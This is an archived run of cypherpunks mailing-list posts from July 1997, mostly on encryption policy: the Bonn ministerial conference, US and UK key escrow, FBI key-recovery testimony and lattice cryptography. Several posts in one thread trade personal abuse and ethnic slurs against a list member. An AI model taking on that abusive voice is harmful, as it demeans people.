MIME-Version: 1.0
Content-Type: text/plain



 Re: Liberating the Bits
Dr.Dimitri Vulis KOTM blathers:

>Tim May <tcmay@got.net> writes:
>> Let it be known I did not write any of the material above attributed to me.
>
>And we're supposed to believe you?

Yup. Like we believe you when you deny the Vilusbot. get over it, Kook.










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Wed, 9 Jul 1997 15:20:50 +0800
To: <cypherpunks@Algebra.COM>
Subject: Copy of: Bonn Conference - press release and links to final        conference documents on the WWW
Message-ID: <WIN2359-970709070052-3437*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: message/rfc822



From: Richard.SWETENHAM@LUX.DG13.cec.be
To: Herbert.ALLGEIER@BXL.DG13.cec.be, Nicholas.ARGYRIS@BXL.DG13.cec.be,
    "Carl Johan.ASENIUS"@DG1.cec.be, Telmo.BALTAZAR@SG.cec.be,
    Elisabeth.BENZLER@CAB.cec.be, Peter.BERZ@DG1.cec.be,
    Sue.BIRD@BXL.DG13.cec.be, Pierre.BISCHOFF@LUX.DG13.cec.be,
    Michel.BROCHARD@LUX.DG13.cec.be, Reinhard.BUESCHER@DG3.cec.be,
    Giuseppe.CACCIATO@DG24.cec.be, Andrew.CHAPMAN@BXL.DG5.cec.be,
    Bernard.CLEMENTS@BXL.DG13.cec.be, Dimitri.CORPAKIS@DG12.cec.be,
    "Jean-Louis.DE BROUWER"@SG.cec.be, Frans.DE-BRUINE@LUX.DG13.cec.be,
    Tonnie.DE-KOSTER@BXL.DG13.cec.be, Fabrizia.DE-ROSA@BXL.DG13.cec.be,
    Daniel.DEBERGHES@LUX.DG13.cec.be, Gianmarco.DI-VITA@BXL.DG13.cec.be,
    Frederic.DONCK@DG23.cec.be, Alain.DUMORT@DG22.cec.be,
    Klaus.EBERMANN@SG.cec.be, Detlef.ECKERT@BXL.DG13.cec.be,
    Iordana.ELEFTHERIADOU@DG3.cec.be, Margot.FROEHLINGER@DG15.cec.be,
    Francois.GENISSON@SG.cec.be, "Miryam.GONZALEZ DURANTEZ"@DG1.cec.be,
    Giulio.GRATA@LUX.DG13.cec.be, Gerhard.HEINE@LUX.DG13.cec.be,
    David.HERSON@BXL.DG13.cec.be, Ola-Kristian.HOFF@LUX.DG13.cec.be,
    Jan.HOORENS@LUX.DG13.cec.be, Martina.HUBER@DG22.cec.be,
    Peter.JOHNSTON@BXL.DG13.cec.be, Androulla.KAMINARA@BXL.DG13.cec.be,
    Kurt.KOENIG@DG23.cec.be, Nathalie.LABOURDETTE@DG10.cec.be,
    Christophe.LECLERCQ@DG4.cec.be, Serge.LUSTAC@LUX.DG13.cec.be,
    Tung-Lai.MARGUE@SG.cec.be, Maria.MARTIN-PRAT@DG15.cec.be,
    George.METAKIDES@DG3.cec.be, "Lars.MITEK PEDERSEN"@SG.cec.be,
    Stig.MYKEN@BXL.DG13.cec.be, Nicholas.NEWMAN@DG12.cec.be,
    Michael.NIEBEL@CAB.cec.be, George.PAPAPAVLOU@LUX.DG13.cec.be,
    "Vicente.PARAJON COLLADA"@LUX.DG13.cec.be, Gregory.PAULGER@DG10.cec.be,
    Michelle.QUERE@DG15.cec.be, Alan.REEKIE@BXL.DG13.cec.be,
    Andrea.RICCI@BXL.DG13.cec.be, Michel.RICHONNIER@BXL.DG13.cec.be,
    Claudia.RITTER@FSE.DG5.cec.be, Kenneth.ROBERTS@DG24.cec.be,
    Jan.ROUKENS@LUX.DG13.cec.be, Peter.SANDLER@BXL.DG13.cec.be,
    Richard.SCHLECHTER@BXL.DG13.cec.be, Theodor.SCHLICKMANN@BXL.DG13.cec.be,
    Alain.SERVANTIE@BXL.DG13.cec.be, Christine.SOTTONG-MICAS@DG15.cec.be,
    Guenter.STEVEN@LUX.DG13.cec.be, David.TALBOT@DG3.cec.be,
    Peter.THEUNISSEN@DG21.cec.be, Paul.TIMMERS@DG3.cec.be,
    Xavier.TROUSSARD@DG10.cec.be, Anne.TROYE@DG3.cec.be,
    Paul.VANDOREN@DG1.cec.be, Viviane.VANOVERMEIRE@SG.cec.be,
    Robert.VERRUE@BXL.DG13.cec.be, Patrick.VITTET-PHILIPPE@BXL.DG13.cec.be,
    Adam.WATSON-BROWN@BXL.DG13.cec.be, Birgit.WEISE-MONTAG@DG15.cec.be,
    Christopher.WILKINSON@BXL.DG13.cec.be, Gunter.WILMS@LUX.DG13.cec.be,
    Rosalie.ZOBEL@DG3.cec.be
Subject: Bonn Conference - press release and links to final conference
         documents on the WWW
Message-ID: <WIN2363-970708170425-3253*/G=Richard/S=SWETENHAM/OU=LUX/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary=_1.1_=9999990000640953"


--Boundary=_1.1_=9999990000640953
Content-Type: text/plain; charset=us-ascii

please find attached the Bonn Conference press release . Please note that the following are also available on http://www2.echo.lu/bonn/conference.html

        English, French and German versions of the Ministerial declaration (WinWord, RTF, PostScript) 
        Industrial declaration (WinWord, RTF, PostScript) 
        Users Declaration "Putting people's needs at the centre" (WinWord, RTF, PostScript) 




Richard Swetenham

--Boundary=_1.1_=9999990000640953
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--Boundary=_1.1_=9999990000640953--






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Wed, 9 Jul 1997 15:28:38 +0800
To: <cypherpunks@Algebra.COM>
Subject: Self-certified keys
Message-ID: <WIN2359-970709071253-248A*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: text/plain




You may find some articles related to the subject on

http://www.ens.fr/~petersen/publications.html

In these papers several extensions of self-certified keys, which 
make them more competitive compared with certificate-based keys 
are presented. 

The main features of self-certified keys lie in their easy
availability and accessibility. Other parameters than 
system parameters are not required to be authentic. 
Therefore large databases with certified public keys (TTPs) 
are not needed any more. However, small lists with the 
authentic public keys of the certification authorities 
are still needed. 

The properties of self-certified keys are:

-- Determination of a public key without an authentic 
   public directory (TTP).

-- Non-repudiation of public keys.

-- Efficient verification of a single certificate.

-- Efficiency in verification of hierarchical certificates
   vs. batch signatures

-- Importance of key propagation.

-- High security of self-certified keys.

Theodor Schlickmann





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Donald Weightman <dweightman@Radix.Net>
Date: Wed, 9 Jul 1997 21:54:00 +0800
To: cryptography@c2.net
Subject: More on crypto from Bonn
Message-ID: <3.0.16.19970709093445.23d7be9e@pop.radix.net>
MIME-Version: 1.0
Content-Type: text/plain



Another story in today's FINANCIAL TIMES

        http://www.FT.com

describes a "clash" between USCommerce Sec'y Daley and German economic
minister Rexrodt on strong crypto. Because the speakers' choices of words
are interesting, I quote from the FT article by Ralph Atkins:

                        On coding technology, however, Mr Daley insisted,
"there are certain
                   legitimate areas where governments have to be involved".
Encryption
                   should be used to protect credit card numbers or
detailed contracts from
                   being read. But, he went on: "We must also make sure
national security is
                   safeguarded by applying those rules sensibly, so that
potential terrorists or
                   other sophisticated criminals cannot hide their work."

                   Mr Rexrodt hinted the European ministers regarded US
policy on
                   exporting encryption technology as discriminatory.

                   He backed "strong" encryption procedures, which he said
were "offering
                   users the only protection that they have, the only
certainty, that their data is
                   not going to be divulged or misused on open networks".

                   Mr Rexrodt was backed by Mr Ron Sommer, chairman of
Deutsche
                   Telekom, Europe's largest telecommunications group, who
said: "Anyone
                   who uses the point of public security as an argument in
this [encryption]
                   issue has not realised or acknowledged that any such
legal requirements
                   stand in the way of the further spread of electronic
commerce." 

Questions for the reader:

        What's a "potential" terrorist? (Is the occasional apparent c'punx
paranoia justified?)
        
        How is the US export policy discriminatory?

        Why is DT coming out on this issue? Who are their strategic
partners for ecommerce among US telecomms? (I'll have to ask around about
that ...) 


cheers



.........................................
Donald Weightman
dweightman@radix.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Wed, 9 Jul 1997 21:53:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: A really  meaningfull upgrade
Message-ID: <3.0.16.19691231190000.5257ba42@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:18 PM 7/8/97 EDT, you wrote:
>
>Casey Iverson <iverson@usa.net> writes:
>
>> At 01:15 PM 7/7/97 EDT, THE RUSSIAN  SCUM BAG, ASS HOLE VULIS  wrote:
>>
>> >I've replaced OS/2 on it by Windows 95.  I'm going to add some more
hardware
>> >I think it's sort of a change for the better.
>>
>> The only meaningfull upgrade would be a total replacement of his fucked up,
>> disease ridden perverted brain.
>>
>> C.I.
>
>Not that I advocate such censorship, but usa.net is very fond of pulling the
>plugs on its free accounts whenever there are complaints about contents. :-)
>

Who do we talk to about pulling the plug on the Russian Scumbag KGB lovers
TC May insult bot???





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theodor.SCHLICKMANN@bxl.dg13.cec.be
Date: Wed, 9 Jul 1997 16:38:58 +0800
To: <cypherpunks@Algebra.COM>
Subject: Bonn Konferenz (2)
Message-ID: <WIN2359-970709081722-6EC4*/G=Theodor/S=SCHLICKMANN/OU=BXL/O=DG13/PRMD=CEC/ADMD=RTT/C=BE/@MHS>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3971.1071713714.multipart/mixed"

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Content-Type: text/plain
Content-Transfer-Encoding: 7bit

please find attached the Bonn Conference press release . Please note that the following are also available on http://www2.echo.lu/bonn/conference.html

        English, French and German versions of the Ministerial declaration (WinWord, RTF, PostScript) 
        Industrial declaration (WinWord, RTF, PostScript) 
        Users Declaration "Putting people's needs at the centre" (WinWord, RTF, PostScript) 


Theodor Schlickmann



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Thu, 10 Jul 1997 00:12:04 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <3.0.32.19691231160000.006c4898@best.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.sacog.org/web/text/datactr/facts/octff.htm:

Facts and Figures

Migration for July 1995 to June 1996
October 1996

The Department of Motor Vehicles publishes an annual report of migration
based on Driver License and California ID card
holders change of address. Data is presented for individuals 18 and over.
The data collected is through voluntary cooperation
between the states. The California DMV, based on historical data, believes
that data from Colorado, Mississippi, New Mexico,
and North Carolina may be under reported. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 10 Jul 1997 02:19:10 +0800
To: Kevin.L.Prigge-2@tc.umn.edu
Subject: Re: Jim Bell reference
In-Reply-To: <33c3b8125eb0002@earth.tc.umn.edu>
Message-ID: <199707091809.LAA02522@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Kevin L Prigge writes:
> 
> Dorothy Denning taught a class (COSC 511) "Information Warfare"
> Spring 97. Apparently as an assignment, several students put 
> together an infowar incident database at:
> 
> http://www.georgetown.edu/users/samplem/iw/
> 
> Jim Bell's case is mentioned under:
> 
> http://www.georgetown.edu/users/samplem/iw/html/iw_database_92.html


Wow.  This is the most blatant propaganda I've seen in a long time.
It's full of so much inaccurate info that it can't be an accident.



Their blurb on Bell says:

"In his "Assassination Politics," Bell suggests that IRS
agents are not protected against violent acts,
because they have stolen taxpayers' money. He also
initiates a betting pool as to what government
employees and officeholders would be assassinated."


If I remember correctly, Bell never 'initiates'[sic] anything, he
just talked about it.

They cites a Netly News article by Declan McCullagh
(http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html)

Declan's article doesn't say, or even imply, that Bell actually
set up his AP betting pool.  The "database" authors apparently wanted
to make a point by making his crime seem to be real, and were willing
to stretch the truth to do so.

This fits in with the rest of the "database".  Take a look
at the 'terrorisim' category.  Most of the 'terrorists' crimes
(or more correctly, arrests- this database seems to assume that
being arrested or charged with a crime makes one guilty) are
horrible terrorist crimes like sending hate email, or suggesting that a state
senator who vociferously supports mountain lion hunting be
"hunted down and skinned and mounted".  In that one the 
California state senator somehow becomes a US senator...
(http://www.georgetown.edu/users/samplem/iw/html/iw_database_90.html)

The "database" is filled with inaccurately-labeled "data".  I'd
be willing to bet that it will be used to support the "Info war"
military-industrial-complex money grab:  "Look, a study at
Gorgetown shows that we've had three incidents of Internet terrorisom
in 1997 alone, one against a US senator!"


Feh.  "Research" like this makes me puke.


BTW, you can add you own "IW incidents" via a form at
http://www.georgetown.edu/users/samplem/iw/html/feedback.html



-- 
Eric Murray  ericm@lne.com  Security and cryptography applications consulting.
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kevin L Prigge <Kevin.L.Prigge-2@tc.umn.edu>
Date: Thu, 10 Jul 1997 00:22:02 +0800
To: cypherpunks@cyberpass.net
Subject: Jim Bell reference
Message-ID: <33c3b8125eb0002@earth.tc.umn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Dorothy Denning taught a class (COSC 511) "Information Warfare"
Spring 97. Apparently as an assignment, several students put 
together an infowar incident database at:

http://www.georgetown.edu/users/samplem/iw/

Jim Bell's case is mentioned under:

http://www.georgetown.edu/users/samplem/iw/html/iw_database_92.html

-- 
Kevin L. Prigge                     | "The only thing that saves us from
Systems Software Programmer         | the bureaucracy is it's
Enterprise Internet Services        | inefficiency." - Eugene McCarthy
University of Minnesota             |





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 10 Jul 1997 01:46:50 +0800
To: cypherpunks@toad.com
Subject: Re: A really  meaningfull upgrade
In-Reply-To: <3.0.16.19691231190000.5257ba42@pop.netaddress.com>
Message-ID: <893k0D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Casey Iverson <iverson@usa.net> writes:

> At 07:18 PM 7/8/97 EDT, you wrote:
> >
> >Casey Iverson <iverson@usa.net> writes:
> >
> >> At 01:15 PM 7/7/97 EDT, THE RUSSIAN  SCUM BAG, ASS HOLE VULIS  wrote:
> >>
> >> >I've replaced OS/2 on it by Windows 95.  I'm going to add some more
> hardware
> >> >I think it's sort of a change for the better.
> >>
> >> The only meaningfull upgrade would be a total replacement of his fucked up
> >> disease ridden perverted brain.
> >>
> >> C.I.
> >
> >Not that I advocate such censorship, but usa.net is very fond of pulling the
> >plugs on its free accounts whenever there are complaints about contents. :-)
> >
> 
> Who do we talk to about pulling the plug on the Russian Scumbag KGB lovers
> TC May insult bot???


Have you tried complaining to the European Envelope manufacturers
association in Switzerland???

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Fri, 11 Jul 1997 18:36:36 +0800
To: cypherpunks@Algebra.COM
Subject: Controversy over UK escrow proposal (fwd)
Message-ID: <Pine.LNX.3.91.970709125805.243B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 09 Jul 1997 12:08:13 +0100
From: Ross Anderson <Ross.Anderson@cl.cam.ac.uk>
To: ukcrypto@maillist.ox.ac.uk
Cc: prz@pgp.com
Subject: Controversy over UK escrow proposal

This may be of interest, as the first news report that a government
department is going on the record to oppose the escrow proposals of
another government department.

Ross


Encryption: NHS FIGHTS TO BE EXEMPT FROM TTP

Service claims key data access would breach patient confidentiality

(Network Week v 2 no 41 (9/7/97), front page lead)

By Daryl Wilcox

The NHS has demanded to be exempt from proposed regulations requiring
encryption keys to be lodged with a trusted third party (TTP).

  The NHS said it was concerned that if keys to medical data were
held by TTPs, as proposed by the DTI for access by law enforcernent
agencies, patients would lose confidence in the service's commitment
to confidentiality.

  A source close to the DTl confirmed last week that the NHS had
called for an exemption from TTP rules in a submission to the DTI on
its proposals. The NHS is keen to be free to adopt encryption to
allow the electronic movement of patient records between hospitals
and GPs.

  The move looked likely to fuel widespread objection to the
proposals from commerce and civil liberties groups, who would
interpret the NHS position as a blow to thc credibility of a
compulsory TTP system.

  Marion Bain, hcad of data protection issues at the Common Services
Agency of the NHS, raised the NHS's concerns at last week's annual
conference of data protection professionals' club Privacy and
Business.

  ``The NHS concerns are different to business con- cems,'' she
said. ``Patients would be resistant to the electronic transfer of
their information if they thought access to it was available to a
third party. The NHS would welcome being exempt from TTP rules.''

  A source close to tlie DTI said: ``The NHS wants no part of a TTP
rule. They have fought hard for patient data to only be made
available to clinical practitioners and they want to preserve this.''

(ends)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 10 Jul 1997 02:56:13 +0800
To: "C. Harald Koch" <chk@utcc.utoronto.ca>
Subject: Re: More on crypto from Bonn
In-Reply-To: <97Jul9.143005edt.11649@janus.tor.securecomputing.com>
Message-ID: <199707091850.NAA02300@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <97Jul9.143005edt.11649@janus.tor.securecomputing.com>, on 07/09/97 
   at 02:35 PM, "C. Harald Koch" <chk@utcc.utoronto.ca> said:

>In message <3.0.16.19970709093445.23d7be9e@pop.radix.net>, Donald
>Weightman writes: > 
>>         What's a "potential" terrorist? (Is the occasional apparent c'punx
>> paranoia justified?)

>I suspect "potential terrorist" is like "alleged criminal"; it's a CYA
>statement.

>I also think it's particularly amusing that an American is lecturing a
>German about terrorism. Who has more experience with the subject, anyway?

With dealing with terrorist or as acting like terrorist??

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C. Harald Koch" <chk@utcc.utoronto.ca>
Date: Thu, 10 Jul 1997 02:47:01 +0800
To: Donald Weightman <dweightman@Radix.Net>
Subject: Re: More on crypto from Bonn
In-Reply-To: <3.0.16.19970709093445.23d7be9e@pop.radix.net>
Message-ID: <97Jul9.143005edt.11649@janus.tor.securecomputing.com>
MIME-Version: 1.0
Content-Type: text/plain



In message <3.0.16.19970709093445.23d7be9e@pop.radix.net>, Donald Weightman writes:
> 
>         What's a "potential" terrorist? (Is the occasional apparent c'punx
> paranoia justified?)

I suspect "potential terrorist" is like "alleged criminal"; it's a CYA
statement.

I also think it's particularly amusing that an American is lecturing a German
about terrorism. Who has more experience with the subject, anyway?

Sheesh.

-- 
Harald Koch <chk@utcc.utoronto.ca>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peterson, Doug" <dpeterson@jonescyber.com>
Date: Thu, 10 Jul 1997 07:30:12 +0800
To: "'cypherpunks@toad.com>
Subject: No Subject
Message-ID: <199707092310.QAA11848@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



This is my first post to the list.  I though this might be interesting.

Taken from:
http://wire.ap.org/APwire/pages/center/?STORYOID=206f.599a&FRONTID=TECHN
OLOGY&SLOC=AP&SKEY=LATECLAMMOSSFUMEELANFUM&SLOG=sidebar

07/09/1997 17:34 EST 

FBI Wants Computer Decoding Ability 

By CASSANDRA BURRELL 
Associated Press Writer 

WASHINGTON (AP) -- American law enforcers want to be allowed to decode
scrambled computer messages during investigations in much the same way
as they now use wiretaps, FBI director Louis Freeh said Wednesday. 

Freeh's plea in Senate testimony came as the computer industry bitterly
fights bills aiming to restrict the export of sophisticated
data-scrambling devices to foreign computer users. 

Offenders inside the United States are turning increasingly to computers
to commit such crimes as child molestation, child pornography and drug
trafficking, Freeh told the Senate Judiciary Committee. Some
investigations are hindered by the criminal use of complex equipment
that scrambles messages into codes that are all but impossible to crack
without code keys. 

``Major drug dealers are now using encrypted communications, and they
are using it to our distinct disadvantage,'' Freeh said. 

The best solution would include setting up a key recovery system where
developers of encryption devices deposit ``keys'' with a third party
that can unscramble their codes, he said. As with wiretaps, authorities
would have to obtain court orders to make the keys available for law
enforcement. 

The same data-scrambling technology that is making the Internet a safer,
more secure place to do business is causing headaches on Capitol Hill,
where lawmakers are struggling with its regulation. 

On one side are computer software and hardware developers trying to
compete with companies operating abroad without restrictions. On the
other side are enforcement authorities who say they don't want to tie
the hands of U.S. businesses but need a way to eavesdrop on computer
criminals. 

``At stake are some of our most valuable and reliable investigative
techniques and the public safety of our citizens,'' Freeh said. Without
a key system, ``the ability of law enforcement to investigate and
sometimes prevent the most serious crimes and terrorism will be severely
impaired. Our national security will also be jeopardized.'' 

Currently, encryption technology is sold without restriction inside the
United States. 

In an attempt to keep pace with technology advancing at lightning speed,
the Clinton administration relaxed export controls last year. The
computer industry complained the loosening didn't go far enough. 

``The current law is unacceptable. The status quo is unacceptable,''
said Sen. Bob Kerrey, D-Neb., co-sponsor of one of several encryption
bills moving through Congress. 

Sponsored by Kerrey and Sen. John McCain, R-Ariz., that bill would set
up a key recovery system to give computer companies strong incentives to
make keys available to investigators who obtain a court's permission. It
would link companies' cooperation to quicker, easier export rules. 

The Senate Commerce Committee approved the bill last month and
recommended the full Senate pass it. A more liberal bill sponsored by
Sen. Conrad Burns, R-Mont., and Sen. Patrick Leahy, D-Vt., fell by the
wayside. 

The Business Software Alliance, a coalition of computer businesses,
promptly denounced the Kerrey-McCain bill as ``a step backward'' that
would hurt American competitiveness. 

``Strong cryptography is exactly like a good safe,'' said Raymond Ozzie,
chairman of Iris Associates, a subsidiary of Lotus Development and IBM
Corp. ``The best safe in the world cannot protect you if the combination
is written on a scrap of paper and left lying around or is otherwise
known to the safe cracker,'' he said in testimony submitted to the
Senate committee. 

A House bill introduced by Rep. Bob Goodlatte, R-Va., would bar the
government from requiring businesses to set aside keys. 

The Clinton administration has criticized that bill. Its provisions, the
administration said, would ``severely compromise law enforcements'
ability to protect the American people from the threats posed by
terrorists, organized crime, child pornographers, drug cartels,
financial predators, hostile foreign intelligence agents and other
criminals.'' 

Doug Peterson





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: edgarswank@juno.com (Edgar W Swank)
Date: Thu, 10 Jul 1997 08:29:57 +0800
To: Cypherpunks@cyberpass.net
Subject: FWD: SCIENTISTS PROPOSE NEW ENCRYPTION SCHEME
Message-ID: <19970709.171758.10958.3.edgarswank@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



SCIENTISTS PROPOSE NEW ENCRYPTION SCHEME
Two scientists at the IBM Almaden Research Center in San Jose,
Calif.  have developed a new approach to public key cryptography
based on mathematical constructs called lattices.  The system
would be based on a particular set of hidden hyperplanes that
constitute the private key and a method of generating points near
one of those hyperplanes for the public key.  The security of the
system rests on the computational difficulty of finding the
"unique" shortest line segment (or vector) that connects any two
points in a given lattice -- a task that's fairly easy in two or
three dimensions, but much more difficult in a 100-dimensional
lattice.  The researchers are working to turn their theory into a
marketable product, and see applications in creating digital
signatures and other security and authentication schemes.
(Science News 5 Jul 97)

Edgar W. Swank   <EdgarSwank@Juno.com>
                 (preferred)
Edgar W. Swank   <cryoprez@jps.net>
                 (for files/msgs >50K)
Home Page: http://members.tripod.com/~EdgarS/index.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Casey Iverson <iverson@usa.net>
Date: Thu, 10 Jul 1997 07:30:20 +0800
To: cypherpunks@Algebra.COM
Subject: Re: A really  meaningfull upgrade
Message-ID: <3.0.32.19691231190000.006a08e4@pop.netaddress.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:49 PM 7/9/97 EDT, THE RUSSIAN  SCUM BAG, DISSEASED RIDDEN ASS HOLE
VULIS 
 gives us an an example of his KGB inspired humor:

>Have you tried complaining to the European Envelope manufacturers
>association in Switzerland???

C.I.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 10 Jul 1997 09:00:09 +0800
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Potential terrorists
Message-ID: <199707100037.UAA06462@life.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




Potential terrorists is I believe a term of art.

It is basically someone who has acquired the means to conduct terrorism, is
believed to have the intent but is not known to have committed an act.

Its basically someone in an advanced stage of a conspiracy. If the FBI had
got wind of McVeigh a week before the bombing and knew he had the truckload
of explosives he would fit this description.


Thing I missed on the Bonn report was any indication about the UK
government's policy. I suspect that this means it is either in accord with
the rest of Europe or more likely as yet undetermined. Statements to the
effect that they are following the Tory/US line seem to fit baddly. If the
UK was acting as appostles for the US they would have stated their
position.

I believe the UK government is an important key. The UK inevitably has more
influence in the US than the rest of Europe since the language and legal
systems are compatible. The reverse is also true and in the past more so
because the Tories were desperate to have US nuclear arms. If the US can't
bend the UK to its side it has lost the argument in Europe.

The Blair administration has a massive legislative program ahead of it
undoing 18 years of Tory mismanagement and corruption. They are very
carefull to avoid any issue which they think may take a lot of
parliamentary time. A small number of Labour backbenchers who support our
cause could therefore prevail.



Phill











From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 10 Jul 1997 03:34:28 +0800
To: cypherpunks@toad.com
Subject: Re: More on crypto from Bonn
Message-ID: <199707091919.VAA27741@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 9 Jul 1997, Donald Weightman wrote:
> What's a "potential" terrorist? (Is the occasional apparent c'punx

One who plans with intent terrorist activities, yet whom has not carried
them out.

> How is the US export policy discriminatory?

Banks are routinely permitted strong encryption export, or did you sleep
through that part of the EAR.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Thu, 10 Jul 1997 09:48:16 +0800
To: cypherpunks@Algebra.COM
Subject: Hacker cracks ESPN
In-Reply-To: <199707092258.PAA09560@central.cnet.com>
Message-ID: <3.0.2.32.19970709213334.006ec08c@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



---------------------------------------------------------------------------
   CNET NEWS.COM Dispatch  *  385,000 Readers     Wednesday, July 9, 1997
---------------------------------------------------------------------------
                          TOP NEWS.COM STORIES FOR TODAY
----------------------------------------------------------------------------

HACKER TAKES CREDIT CARD NUMBERS, OTHER INFORMATION FROM ESPN
        http://www.news.com/News/Item/0%2C4%2C12275%2C00.html?nd

Starwave is warning customers about an "intruder" who took credit card
numbers from the ESPN and NBA Web sites and then sent messages to the card
owners about the alleged security flaws. Will the security breach on the
popular sports sites affect emerging e-commerce efforts?

----------------------------------------------------------------------------



*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 10 Jul 1997 04:01:27 +0800
To: cypherpunks@toad.com
Subject: Re: [PGP-USERS] A start ... (hopefully) ...
Message-ID: <199707091938.VAA00718@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 8 Jul 1997, Darryl Rowe wrote:

> The Allegro Group, Inc. has incorporated PGP technology in their
> Encryption Gateway for Groupwise. Now, the 8.5 million users of
>
> Now if they can keep this up and get their foot in the door with all
> the other email vendors.

Well you'll also see that PGP Inc. also has a deal with Qualcomm for
Eudora users. See PGP's welcome page for the notice, check the bottom.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 10 Jul 1997 12:46:42 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: Cast of Characters for Crypto Politics (Judiciary Hearing)
In-Reply-To: <v0300780aafea022b2902@[168.161.105.191]>
Message-ID: <v03102804afea16def968@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>SEN. CHARLES GRASSLEY (R): Tried to paint himself as
>someone who understands the dangers of government
>power by noting he joined many Republicans in opposing
>roving wiretaps last summer, but then spoke darkly of
>pedophiles armed with crypto. "Encryption is hindering
>the investigation of chid sex offenders," Grassley
>warned. He told how Colorado police couldn't break
>into a teen's password-protected electronic organizer
>where incriminating information might be stored.
>
>SEN. DIANNE FEINSTEIN (D): Said "I would echo Sen.
>Kyl's concerns." Noted she represented a high-tech
>state but still was concerned about the uncontrolled
>spread of encryption. Said to Freeh: "You've made a
>clear and compelling case for key recovery. If it was
>understood by the American people, they'd be
>supportive." Followed up on Grassley's point about the
>passworded organizer by asking Kerrey, "Without
>revealing the classified briefing you participated in
>and we have recently, what's puzzling me is that the
>Colorado law enforcement doesn't have any recourse to
>be able to break into a system." She said she thought
>that the FBI could tunnel into such a device, but FBI
>director Louis Freeh shook his head no.

We need to find out what software the teen was using.  I can see the ads now...

WANT TO TRUST YOUR IMPORTANT DATA TO UNPROVEN SECURITY SOFTWARE?

USE "SAFEHOUSE" AND EVEN THE FEDS WON'T BE ABLE TO FIND YOUR GROCERY LIST!

--$teve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
